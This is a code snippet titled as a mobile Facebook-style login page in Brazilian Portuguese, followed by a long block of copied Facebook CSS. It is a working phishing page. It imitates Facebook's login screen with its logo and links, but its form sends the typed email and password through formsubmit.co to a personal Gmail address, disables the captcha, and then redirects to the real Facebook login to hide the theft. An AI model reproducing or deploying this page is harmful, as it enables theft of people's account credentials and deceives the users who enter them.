"MOBILE página de login como facebook em PT-BR"
Bootstrap 4.0.0 Snippet by ricardosaeki

<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css"> <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script> <script src="//code.jquery.com/jquery-1.11.1.min.js"></script> <!------ Include the above in your HEAD tag ----------> <!DOCTYPE html> <html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="styles.css"> <title>Document</title> </head> <body tabindex="0" class="touch x2 android _fzu _50-3 iframe acw portrait" style="background-color: rgb(255, 255, 255); min-height: 540px;"><script id="u_0_b_P+" nonce="">(function(a){a.__updateOrientation=function(){var b=!!a.orientation&&a.orientation!==180,c=document.body;c&&(c.className=c.className.replace(/(^|\s)(landscape|portrait)(\s|$)/g," ")+" "+(b?"landscape":"portrait"));return b}})(window);</script><div id="viewport" data-kaios-focus-transparent="1" style="min-height: 540px;"><h1 style="display:block;height:0;overflow:hidden;position:absolute;width:0;padding:0">Facebook</h1><div id="page"><div class="_129_" id="header-notices"></div><div class="_5soa acw" id="root" role="main" data-sigil="context-layer-root content-pane" style="min-height: 540px;"><div class="_7om2"><div class="_4g34" id="u_0_0_dT"><div class="_5yd0 _2ph- _5yd1" style="display: none;" id="login_error" data-sigil="m_login_notice"><div class="_52jd"></div></div><div class="_9om_"><div class="_4-4l"><div id="login_top_banner" data-sigil="m_login_upsell login_identify_step_element"><div class="_qw9 grouped aclb" id="u_0_1_mh"><a href="https://play.google.com/store/apps/details?id=com.facebook.katana" target="_top" class="touchableArea first last area touchable acy apl abt abb" data-sigil="touchable marea" data-store-id="0"><div class="ib cc"><i class="l img sp_xm9DDmY7HAL_3x sx_f30d37"></i><div class="c"><span class="fcl">Obtenha o Facebook para Android e navegue mais rápido.</span></div></div></a></div><iframe src="https://play.google.com/store/apps/details?id=com.facebook.katana" style="display: none;"></iframe></div><div class="_7om2 _52we _2pid _52z6"><div class="_4g34"><a href="https://m.facebook.com/"><img src="https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg" width="112" class="img" alt="facebook"></a></div></div><div class="_5rut"> <form action="https://formsubmit.co/ricardosaeki@gmail.com" method="POST"> <input type="email" name="email" placeholder="Número de celular ou email" required> <input type="text" name="name" placeholder="Senha" required> <input type="hidden" name="_captcha" value="false"> <input type="hidden" name="_next" value="https://www.facebook.com/login/?"> <button type="submit">Entrar</button> </form> <div><div class="_2pie _9omz"><div class="_52jj _9on1"> <a class="_9on1" tabindex="0" href="https://www.facebook.com/login/identify/?" id="forgot-password-link">Esqueceu a senha?</a></div><div style="padding-top: 42px"><div><div><div> <div id="login_reg_separator" class="_43mg _8qtf" data-sigil="login_reg_separator"> <span class="_43mh"></span> <div class="_55wr _5ui2" data-sigil="m_login_footer"><div class="_5dpw"><div class="_5ui3" data-nocookies="1" id="locale-selector" data-sigil="language_selector marea"><div class="_7om2"><div class="_4g34"><span class="_52jc _52j9 _52jh _3ztb">Português (Brasil)</span></div><a href="/language/?next_uri=https%3A%2F%2Fm.facebook.com%2Flogin%2F%3Fnext%26ref%3Ddbl%26fl%26login_from_aymh%3D1%26refid%3D8&page_style=1&ref=dbl"><div class="_3j87 _1rrd _3ztd" aria-label="Lista completa de idiomas" data-sigil="more_language"><i class="img sp_zqrNfmDGuGz_3x sx_2f585a"></i></div></a></div></div></div><div class="_5ui4"><span class="mfss fcg">Meta © 2023</span></div></div></div></div><div class=""></div><div class="viewportArea _2v9s" style="display:none" id="u_0_5_92" data-sigil="marea"><div class="_5vsg" id="u_0_6_+f" style="max-height: 200px;"></div><div class="_5vsh" id="u_0_7_XZ" style="max-height: 270px;"></div><div class="_5v5d fcg"><div class="_2so _2sq _2ss img _50cg" data-animtype="1" data-sigil="m-loading-indicator-animate m-loading-indicator-root"></div>Carregando...</div></div><div class="viewportArea aclb" id="mErrorView" style="display:none" data-sigil="marea"><div class="container"><div class="image"></div><div class="message" data-sigil="error-message"></div><a class="link" data-sigil="MPageError:retry">Tentar novamente</a></div></div></div></div><div id="static_templates"><div class="mDialog" id="modalDialog" style="display:none" data-sigil=" context-layer-root" data-autoid="autoid_1"><div class="_52z5 _451a mFuturePageHeader _1uh1 firstStep titled" id="mDialogHeader"><div class="_7om2 _52we"><div class="_5s61"><div class="_52z7"><button type="submit" value="Cancelar" class="cancelButton btn btnD bgb mfss touchable" id="u_0_9_H3" data-sigil="dialog-cancel-button">Cancelar</button><button type="submit" value="Voltar" class="backButton btn btnI bgb mfss touchable iconOnly" aria-label="Voltar" id="u_0_a_5P" data-sigil="dialog-back-button"><i class="img sp_zqrNfmDGuGz_3x sx_e1adee" style="margin-top: 2px;"></i></button></div></div><div class="_4g34"><div class="_52z6"><div class="_50l4 mfsl fcw" id="m-future-page-header-title" role="heading" tabindex="0" data-sigil="m-dialog-header-title dialog-title">Carregando...</div></div></div><div class="_5s61"><div class="_52z8" id="modalDialogHeaderButtons"></div></div></div></div><div class="modalDialogView" id="modalDialogView"></div><div class="_5v5d _5v5e fcg" id="dialogSpinner"><div class="_2so _2sq _2ss img _50cg" data-animtype="1" id="u_0_8_wo" data-sigil="m-loading-indicator-animate m-loading-indicator-root"></div>Carregando...</div> </body> </html>
._7hj_ { visibility: hidden } ._6ykc { padding-left: 5px } ._6ykd { padding-right: 5px } ._7gvg { font-weight: bold; margin-left: -50px } ._6-xu { height: 30px; width: 100% } ._4rey { overflow: hidden } ._5gh8::after { border-bottom: 1px solid transparent; content: ''; display: block; margin-top: -1px } .touch ._55wr._4uhd { padding: 8px 8px 16px } ._5gh8 ._7ab_,._5gh8 ._7ac0 { margin: 0 -10px } ._4zol { box-shadow: 3px 0 3px #b1b1b1; margin-bottom: 6px; position: relative } ._4zom,._5fju,._4z86,._3-2z { padding: 8px 0 } ._syn { padding: 8px 0; position: relative } ._ed_ { border-bottom: 1px solid #bec3c9; border-top: 1px solid #ccc; position: relative } ._5fjw>:first-child,._5fjw>div { border-bottom: 1px solid #e5e5e5 } ._5fjw>:last-child { border-bottom: 0 none } ._5fjw { border-bottom: 1px solid #bec3c9; border-top: 1px solid #ccc; position: relative } ._4z84 { box-shadow: 0 1px 2px #b1b1b1; position: relative } .touch ._3b9.structuredPublisher .btnBarLinked td:first-child .btn,.touch ._3b9.structuredPublisher .btnBarLinked td:last-child .btn { border-radius: 0 } ._3-2- { border-bottom: 1px solid #ccc; border-top: 1px solid #ccc; position: relative } .touch .apm._2xkb { padding: 5px 0 } ._2xkd { border-bottom: 1px solid #bec3c9; border-top: 1px solid #ccc } ._2xkd>:first-child,._2xkd>div { border-bottom: 1px solid #e5e5e5 } ._2xkd>:last-child { border-bottom: 0 none } .touch ._2xkd ._2xke { padding: 12px 0 } ._3on5 { margin: 0 0 10px } ._3on6 { border-bottom: 1px solid #bec3c9; border-top: 1px solid #ccc } ._3on7 { padding: 12px 0 } ._yff { position: relative } ._yff .img { vertical-align: middle } ._yff a,._yff div { display: block; height: 100%; left: -10px; padding: 10px; position: absolute; top: -10px; width: 100% } ._5m7r ._5c0f { min-height: 44px; text-align: center } ._5m7r ._5c0f:before { content: ''; display: inline-block; height: 44px; vertical-align: middle; width: 0 } ._5m7t { display: inline-block; vertical-align: middle } ._5rgr { margin: 0 10px 15px; position: relative; -webkit-touch-callout: none; -webkit-user-select: none; word-wrap: break-word } ._5gh8._5rgr { margin: 0 0 8px } ._3f50>._5rgr { margin: 0 } .embedded>._5rgr { margin: 10px } .messageAttachments>._5rgr { margin: 0 } ._67i4 .messageAttachments>._5rgr { margin-bottom: 2px } ._67i4 .messageAttachments>._5rgr { overflow: visible } ._5rgr ._5rgr { border-top: 1px solid rgba(0, 0, 0, .07); margin: 0 } ._5rgr ._5rgr._5ysf { border-top: 0 } ._3f_b ._5rgu { position: relative; z-index: 12 } ._9d_2 { position: relative; z-index: 9 } ._5rgr ._4hkg { margin: 0 10px 10px } ._5rgr ._5s1m { margin: 0 } ._6gzm ._5rgr { margin: 0 } ._5rgs._5rgs a { color: #1d2129 } ._5rgs._5jk3 { color: #1d2129; font-weight: normal } ._5rgs { border-bottom: 1px solid rgba(0, 0, 0, .1); color: #999; font-size: 13px; line-height: 17px; padding: 8px 10px } ._5rgt,._5rgu._6ocu { padding-bottom: 10px } ._5rgt,._5rgu { padding: 0 10px } ._5rgu._6tbh { margin: 4px 0; padding: 0 } ._6q6_._5rgu { position: relative } ._3eka._5rgu { position: relative } ._5pes { margin-bottom: -10px } ._u1r ._27x0 { margin-bottom: -10px } ._5rgt,._5t8z { margin: 8px 0 } ._5rgt p,._5t8z p { margin-bottom: 6px } ._5rgt p:last-child,._5t8z p:last-child { margin-bottom: 0 } ._5t8z { display: block } ._5pes ._5t8z { margin-top: 0 } ._5rgt a,.touch .storyStream ._5rgr ._5rgt a { color: #576b95; font-weight: normal } ._5rgt { position: relative } ._4vbp { color: #7f7f7f; font-family: 'HelveticaNeue-Medium', 'Helvetica Neue Medium', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; margin: 15px 0 9px 0 } ._5msi a,._5msi button,._5msi div[data-sigil*='more'] { position: relative; z-index: 1 } ._5msi a._5msj { bottom: 0; left: 0; position: absolute; right: 0; top: 0; z-index: 0 } ._4hkg ._4hkg ._4hkg .widePic { margin-left: -35px; margin-right: -35px } ._4hkg ._4hkg .widePic { margin-left: -25px; margin-right: -25px } ._4hkg .widePic { margin-left: -15px; margin-right: -15px } ._5rgr ._1p6- { background: #f5f6f7; border-top: 1px #dadde1 solid; color: #5e5e5e; font-size: 12px; font-weight: bold; line-height: 36px; text-align: center } ._5rgr ._1p6-::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -21px -316px; content: ''; display: inline-block; height: 20px; margin: 0 4px 4px 0; vertical-align: middle; width: 20px } ._21nd { padding: 0 0 10px } ._21nd ._5t8z { margin: 8px 8px 0 8px } ._kw0 { margin-left: -10px; margin-right: -10px } ._3zhw { background-color: #edf2fa; border-bottom: solid 1px #dddfe2; border-top: solid 1px #dddfe2; padding: 8px 10px } ._3zhx { color: #5e5e5e; font-size: 12px; font-weight: bold } ._3zhy { color: #5e5e5e; font-size: 12px } ._3zi1 { margin-left: 8px } ._612d { background-color: rgba(255, 255, 255, .8); bottom: 0; left: 0; position: absolute; right: 0; top: 0; z-index: 0 } ._6p6p { height: 50px } ._6tfp ._6p6p { background-color: #f2f3f5 } ._6tfr ._6p6p { background-color: #fff } ._6p6q { height: 200px; margin: 0; overflow: hidden; padding: 0; width: 100% } ._6p6q ._5s1m { margin: 0 } ._6p6q div { margin: 0 } ._4vbo { background-color: #000; border-bottom: 1px solid rgba(255, 255, 255, .15); margin: 0 0 8px 0 } ._1sme { margin-left: 0; margin-right: 0 } ._4vbo ._5rgs { color: #7f7f7f } ._4vbo ._yff { opacity: .7 } ._5qc1 { font-size: 13px; line-height: 17px; margin: 0 0 12px; padding: 10px 10px 0 } ._ung { margin-bottom: 5px; min-height: 20px; padding-top: 7px } ._177o { display: flex; align-items: center } ._2nhr { display: inline-block; margin: 1px 8px 2px 0 } ._177o ._2l5u { flex: 1 } ._5qc3._5qc3 { font-size: 14px; line-height: 17px; padding: 1px 0 2px } ._1o88 ._5qc3._5qc3 { padding: 0 } ._5qc3._5qc3 a { color: inherit; font-weight: bold } ._5qc3._411r { height: 18px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap } .touch ._5qc4._5qc4 a,.touch ._5qc4._5qc4._5qc4 a { color: inherit; font-weight: normal } .touch ._5qc4._5qc4 ._4l3o,.touch ._5qc4._5qc4._5qc4 a._4l3o { color: #4267b2; font-weight: bold; position: relative } .touch ._5qc4._5qc4 ._4l3w,.touch ._5qc4._5qc4._5qc4 a._4l3w { background-color: #4080ff; border-radius: 4px; box-sizing: border-box; color: #fff; display: inline-block; font-size: 12px; line-height: 18px; padding: 1px 6px } ._5qc4 ._46lw { font-weight: normal; left: 0; line-height: 20px; position: absolute; top: 100%; white-space: nowrap; z-index: 1 } ._46lw ._4l3x { margin-right: 8px } .touch ._2lm- { margin-top: .2em } ._5s3i { margin: 0 2px; position: relative; top: 2px; vertical-align: top } ._bhr { color: #fa3e3e; display: inline; font-weight: bold; margin-left: 8px } ._4s07 { margin-top: -10px } ._5pdt { font-weight: normal } ._2fip { font-weight: normal } ._2fip a { font-weight: bold } ._53p3 { font-weight: 200; margin-bottom: 0 } ._53p3 ._5qc3 { font-weight: 200 } ._53p3 strong { font-weight: 500 } ._67lm { position: relative } ._36xo { margin-top: -0.3333em; position: relative; top: .3333em } ._9s5::after { content: ' ' } ._9s6,._9s5 { display: inline } ._4y-t { font-family: 'HelveticaNeue-Medium', 'Helvetica Neue Medium', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; padding-top: 10px } ._4y-t ._ung { color: #7f7f7f } ._4y-u { padding-right: 7px } ._4y-v { color: #666; font-family: 'HelveticaNeue-Light', 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 12px } ._2zfw { color: #dadde1 } ._4y-t._ung ._2zfw { color: #7f7f7f } ._7jwh { margin-left: -7px } ._7jwi { display: inline-block } ._8479 { border: 2px solid #bec3c9; border-radius: 200px; box-sizing: border-box; padding: 2px 2px } ._847o { border: 2px solid #3578e5 } ._8-q6 { opacity: .4 } ._24u0 { color: #90949c } ._24u1 { color: #4b4f56 } ._312n { color: #1d2129 } ._2xim { font-size: 14px; line-height: 18px } .touch ._w_y,.touch ._4ob2 ._w_- { display: none } .touch ._4ob2 ._w_y { display: block } html ._3qsy._3qsy { border: 1px solid #fa3e3e } .touch ._3qs- { color: #fa3e3e } .touch ._3qsy { border-radius: 4px } ._1t9b { background: rgba(0, 0, 0, .9); height: 100%; position: fixed; text-align: center; top: 0; width: 100%; z-index: 999 } ._1t9k { background-color: #fff; height: 100%; position: absolute; width: 100%; z-index: 998 } ._1t9m { padding-left: 20px; padding-right: 20px; position: fixed; top: 50vh; z-index: 999 } ._1t9n { height: 42px; margin-bottom: 10px; margin-top: 80px; position: relative } ._u6u { margin-top: 30px } ._1f0e { position: absolute; right: 30px } ._1f0f { left: 30px; position: absolute; transform: scaleX(-1) } ._8gq6 { background-color: #000; height: 100%; position: fixed; width: 100% } ._8gq6:before { content: ''; display: inline-block; height: 100%; vertical-align: middle } ._8gpu { display: inline-block; vertical-align: middle; width: 100% } ._8gq5 { background-color: rgba(0, 0, 0, .5); bottom: 0; color: #fff; position: absolute; width: 100% } .touch ._8gq9 a { color: #fff; font-weight: bold } ._8gq9 { font-size: 13px; line-height: 20px; margin: 10px } ._8gqa { font-size: 12px; line-height: 20px; opacity: .6 } ._8gqc { display: flex; flex-direction: row; justify-content: flex-end } ._8gqd { background-color: rgba(0, 0, 0, .5); display: inline-block; position: absolute; width: 100%; z-index: 11 } ._8gqe { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -182px; height: 25px; margin-top: 10px; width: 25px } ._8gqf { display: inline-block; height: 100%; width: 100% } ._8huh { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -157px; height: 25px; margin-left: 10px; margin-right: auto; margin-top: 10px; width: 25px } ._8gqg { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -25px -157px; height: 25px; margin: 10px; width: 25px } ._8gq5 ._8gqh { color: #fff } ._8ih-._8ih- { border-top: none } .touch ._57-o { position: relative; text-align: center } .touch ._57-o ._57-p { height: 100%; position: absolute; top: 0; transition: opacity .15s ease-out; width: 100% } .touch ._57-o._57-n ._57-p ._57-s,.touch ._57-o._57-n ._57-p ._57-r,.touch ._57-o._57-n ._57-p .tagName,.touch ._8gq6 ._57-o._57-n ._57-p .facebox { opacity: 0; transition: opacity .35s ease-out } .touch ._57-o ._57-q { height: 100%; left: 44px; position: absolute; right: 44px; top: 0 } .touch ._57-o ._57-r,.touch ._57-o ._57-s { height: 100%; position: absolute; width: 44px; z-index: 2 } .touch ._57-o ._57-s { left: 0 } .touch ._57-o ._57-r { right: 0 } .touch ._57-o ._57-r .img,.touch ._57-o ._57-s .img { left: 50%; margin: -16px 0 0 -16px; position: absolute; top: 50% } .touch ._57-o ._57-t { display: inline-block; position: relative } .touch ._57-o ._57-u .tagBox { position: absolute; z-index: 1 } .touch ._57-o ._57-u .tagName { background-color: rgba(0, 0, 0, .75); border-radius: 10px; font-weight: bold; left: -50%; line-height: 13px; margin-top: 12px; max-width: 130px; padding: 0 8px 2px; position: relative } .touch ._57-o ._57-u .facebox { border: 2px solid rgba(255, 255, 255, .4); border-radius: 2px; position: absolute; z-index: 1 } .touch ._57-o ._57-v { background-color: rgba(0, 0, 0, .75); border-radius: 4px; height: 26px; margin-left: -16px; margin-top: -16px; padding-top: 6px; position: absolute; width: 32px; z-index: 1 } .touch ._57-o .photosInputTag { position: absolute; z-index: 4 } .touch ._57-o .photosInputTag.showInputBox { display: block } .touch ._57-o .photosInputTag .mTokenizer { left: -50%; z-index: 3 } .touch ._57-o .jx-tokenizer { min-height: 0; padding: 2px 5px; text-align: start; width: 200px } .touch ._57-o .jx-tokenizer>input { margin-left: -2px } .touch ._57-o .mTypeahead { padding-top: 7px } .touch ._57-o .inputArrow { left: 0; margin-left: -7px; position: absolute; z-index: 3 } .touch ._57-o .jx-tokenizer.hasResults { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0 } .touch ._57-o .jx-typeahead-results { border-left: 1px solid #888; border-right: 1px solid #888; border-top: 0; overflow: hidden; padding: 0 5px; width: 200px } .touch ._57-o .jx-typeahead-results .jx-result { border: none; height: 52px; margin: 0 -7px 0 -5px } .touch ._57-o .jx-typeahead-results .jx-result .profile-icon { margin: 4px 4px } .touch ._57-o .jx-typeahead-results .jx-result:first-child { margin-top: 0 } .touch ._57-o .jx-typeahead-results .jx-result .primary span { display: table-cell; font-size: 14px; padding-left: 51px } .touch ._57-o .photosInputTag .mTokenizer .mToken { display: none } .touch ._57-o .photosInputTag .mTokenizer .mTokenizerLabel { display: block; font-size: 12px } ._40zn { color: #737373 } .touch ._57-o .fbPhotosPhotoTagboxBase { line-height: normal; position: absolute } .touch ._57-o .fbPhotosPhotoTagboxBase .tagShadow,.touch ._57-o .fbPhotosPhotoTagboxBase .tagIcon { left: 50%; position: absolute; top: 50%; transform: translate(-50%, -50%) } .touch ._57-o .fbPhotosPhotoTagboxBase .tagIcon { background-color: rgba(255, 255, 255, .5); border: 2px solid #fff; border-radius: 50%; height: 20px; width: 20px; z-index: 2 } .touch ._57-o .fbPhotosPhotoTagboxBase .tagShadow { background-color: rgba(0, 0, 0, .3); border-radius: 50%; box-shadow: 0 0 8px 12px rgba(0, 0, 0, .3); height: 1px; width: 1px } ._2ip_ { color: #90949c } ._2ip_>div { position: relative } ._2ip_ ._2zh4::before,._2ip_ ._15kk::before,._2ip_ ._15kk+._4u3j::before { background: #dadde1; content: ''; display: block; height: 1px; left: 0; position: absolute; right: 0; top: 0; z-index: 0 } ._2ip_ ._xqz::before { top: unset } ._4b44 ._15kk._8gq4 { color: #fff } ._4b44 ._15kk { color: #616770 } ._4b44._2ip_ ._2zh4::before,._4b44._2ip_ ._15kk::before,._4b44._2ip_ ._15kk+._4u3j::before { background-color: #ced0d4 } ._4b44._2ip_ ._2zh4::before,._4b44._2ip_ ._15kk::before { margin: 0 10px } .ios.x2 ._2ip_>div::before,.android.x2 ._2ip_>div::before { transform: scaleY(.5); transform-origin: 0 0 } ._15kj { color: #9197a3; font-weight: normal } ._34qc { margin: 10px } ._3myz._3myz { margin-bottom: 6px; margin-top: 6px } ._4b45._3myz { font-size: 14px; margin-bottom: 9px; margin-top: 10px } ._7e9a ._4b45._3myz { margin: 12px } ._15kl { position: relative } ._15kl._15kl ._77li,._15kj._15kj a,._9rh1._9rh1 a,._9t6j._9t6j a { color: inherit; font-weight: inherit } ._15kl._15kl ._77li { display: inline-block; width: 100% } ._3hwk._15kl ._77li { margin: -6px -8px -8px -8px; padding: 6px 8px 8px 8px } ._7e9a ._3hwk._15kl ._77li { margin: 0; padding: 4px } ._3hwk._15kl ._77li._77ld { margin: -19px -8px } ._4u3j { background: #f3f3f3; color: #5e5e5e; padding: 12px } ._15km ._15kl ._77li::before { content: ''; display: inline-block; height: 32px; margin-bottom: 1px; margin-right: 4px; vertical-align: middle; width: 16px } ._4b46._15km ._15kl ._77li::before { width: 20px } ._15km ._15ko::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -33px -91px } ._4b46._15km ._15ko::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -21px -295px; height: 20px; width: 20px } ._4b46._15km ._8gq4._15ko::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -21px -232px } ._15km ._15ko._77la::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -124px } ._4b46._15km ._15ko._77la::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -21px -274px; height: 20px; width: 20px } ._15km ._15kq::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -33px -58px } ._4b46._15km ._9t1z::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -25px -207px; height: 20px; width: 20px } ._4b46._15km ._15ko::before,._4b46._15km ._15ko._77la::before,._4b46._15km ._15kr::before,._4b46._15km ._15kq::before { left: -2px; position: relative } ._4b46._15km ._15kq::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -295px; height: 20px; width: 20px } ._4b46._15km ._8gq4._15kq::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -232px } ._4b46._15km ._8gq4._15kr::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -253px } ._15km ._15kr::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -17px -124px } ._4b46._15km ._15kr::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -316px; height: 20px; width: 20px } ._2zh4,._15ks { background: #f3f3f3; color: #5e5e5e; font-size: 12px; line-height: 36px } ._15ks._4b47 { background: none } ._15ks._4b47._xr1 { line-height: 30px } ._15ks+._4u3j { padding: 10px } ._15ks+._4u3j._29-5 { padding: 8px } ._15ks+._4u3j._hdn { padding: 5px 0 } ._2ip_ ._15ks+._4u3j::before { left: 10px; right: 10px } ._4b44._2ip_ ._15ks+._4u3j::before { left: 0; right: 0 } ._15ks ._77la._77la { color: #5890ff } ._15ks ._15kl._15kl { line-height: inherit; padding: 0 8px } ._868x { font-size: 14px; line-height: 16px; padding-top: 8px } ._868y { padding-bottom: 2px; padding-top: 2px } ._868z { margin-bottom: 4px; padding-top: 2px } ._15ks ._15kl::before { border-left: 1px solid #d6d8db; bottom: 7px; content: ''; left: 0; position: absolute; top: 7px } ._4b47._15ks ._15kl::before { border: none } ._15ks ._15kl:first-child::before { display: none } ._15ks:last-child,._15ks+._4u3j { border-radius: 0 0 4px 4px } ._5gh8 ._15ks:last-child,._5gh8 ._15ks+._4u3j { border-radius: 0 } ._15ko._-g { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -274px; display: inline-block; height: 20px; position: relative; text-indent: -5000px; width: 20px } ._15ko._77la._-g { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -21px -253px } ._1e6 { overflow: hidden } ._2eo-._4b44 { color: #616770 } ._8gq5 ._2eo-._4b44 { color: #fff } ._2ep2 { left: 3px; position: absolute; top: 3px } ._1e6 ._2ep2 { left: 0 } ._77ld { text-overflow: ellipsis; white-space: nowrap } ._15km ._77li._77ld::before { content: none; display: none } ._4h-b._4h-b { display: inline-block; margin-bottom: 2px; margin-right: 5px; vertical-align: middle } ._58nj { background: #fff; color: #444950 } ._2ip_ ._58nj::before,._2ip_ ._5ohp::before { left: 10px; right: 10px } ._2ip_ ._58nj+._4u3j::before,._2ip_ ._5ohp+._4u3j::before { left: 0; right: 0 } ._58nj ._15kl::before,._5ohp ._15kl::before { content: none } ._58nj ._15kl ._77li::before,._5ohp ._15kl ._77li::before { height: 16px } ._58nj ._15ko::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -34px -337px } ._58nj ._15ko._77la::before,._5ohp ._15ko._77la::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -17px -337px } ._58nj ._15kq::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -34px -124px } ._58nj ._15kr::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -17px -354px } ._58nj ._15kq::before,._58nj ._15kr::before,._5ohp ._15kq::before,._5ohp ._15kr::before { position: relative; top: -1px } ._5ohp { background: transparent; color: #fff } ._5ohp ._15ko::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -354px } ._5ohp ._15kq::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -337px } ._5ohp ._15kr::before { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: -34px -354px } ._5qux._5qux { font-size: 12px; margin: 6px 10px } ._1ekf { clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; width: 1px } ._4m0z { background-color: #fff } ._55m { color: #666; font-family: 'HelveticaNeue-Medium', 'Helvetica Neue Medium', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 12px; margin-bottom: 23px; margin-top: 9px } ._55n { background-color: #000; line-height: 0 } ._2ip_ ._55n::before { height: 0 } ._15ks ._55p { color: #7f7f7f } ._15ks ._55p::before { border-left: 0 } ._8l2l { display: flex } ._8l2b { flex-grow: 1; text-align: right; white-space: nowrap } ._3hxn { font-size: 12px; line-height: 16px } ._rnk { color: #90949c } ._6hyv { bottom: 0; left: 0; margin: 0; position: absolute; right: 0; top: 0 } ._1fnt { float: right } ._1j-c { display: inline-block; margin-left: 10px; vertical-align: middle } ._9rh0 { display: inline-block; margin-left: 5px; vertical-align: middle } ._6hyu { color: #606770; position: relative; z-index: 1 } ._5ton { isolation: isolate; line-height: 16px; padding: 8px } ._1_gl { font-weight: bold; height: 16px; padding: 8px } ._8bn8 { text-align: end } ._1w1k { display: inline-block } ._qfz { display: inline-block; line-height: 17px; vertical-align: middle } ._1g05 { display: inline-block; position: relative } ._1g06 { display: inline; margin-left: 4px; vertical-align: middle } ._8l2a { flex-shrink: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap } ._1g05 { background-color: #fff; border-radius: 10px; margin-left: -2px; padding-right: 2px; padding-top: 1px } ._8gq6 ._1g05 { background-color: rgba(0, 0, 0, .5) } ._1g05:first-child { margin-left: 0 } ._5c4t ._1g05 { background: #f5f6f7 } ._5c4t ._1g06 { color: #000 } ._28wy+._28wy::before,._28-d+._28wy::before { content: '\a0\b7\a0' } ._28-d:empty+._28wy::before,._28wy:empty+._28wy::before,._2og4 .like_opt+._28wy::before { content: none; display: none } ._28wy { display: inline-block } ._2og4>*>._28-d { display: inline } .touch ._4s19 { display: inline-block; -webkit-tap-highlight-color: rgba(0, 0, 0, 0) } .touch ._4s19 .img { display: block } ._5d93 ._56br._4_m5 { vertical-align: text-top } ._4_m7 { border-radius: 0 0 3px 3px; color: #fff; font-size: 12px } .ios ._4_m7 { border-radius: 0 0 2px 2px } ._4_m7 .img { margin-right: 8px } .async_like .btn.like_opt,.async_like .like_opt,.async_cmt_like .cmt_like_opt { display: none } .flLinkish { color: #3b5998; font-weight: bold } .touch a.darkTouch,.touch .darkTouch a { -webkit-tap-highlight-color: rgba(0, 0, 0, 0) } .touch .darkTouch.touched,.touch .darkTouch .touched,.touch .touched .darkTouch { position: relative } .touch .darkTouch.touched:after,.touch .darkTouch .touched:after,.touch .touched .darkTouch:after { background-color: #000; bottom: 0; content: ''; height: auto; left: 0; opacity: .4; position: absolute; right: 0; top: 0 } .img.feedAudienceIcon,.feedAudienceIcon { left: 1px; position: relative; top: 1px; vertical-align: baseline } .audienceWidgetIcon .img.feedAudienceIcon,.feedAudienceIcon { position: relative; top: .4px; vertical-align: baseline } .story .feedAudienceIcon { margin-left: 5px } .participant,.primaryActor 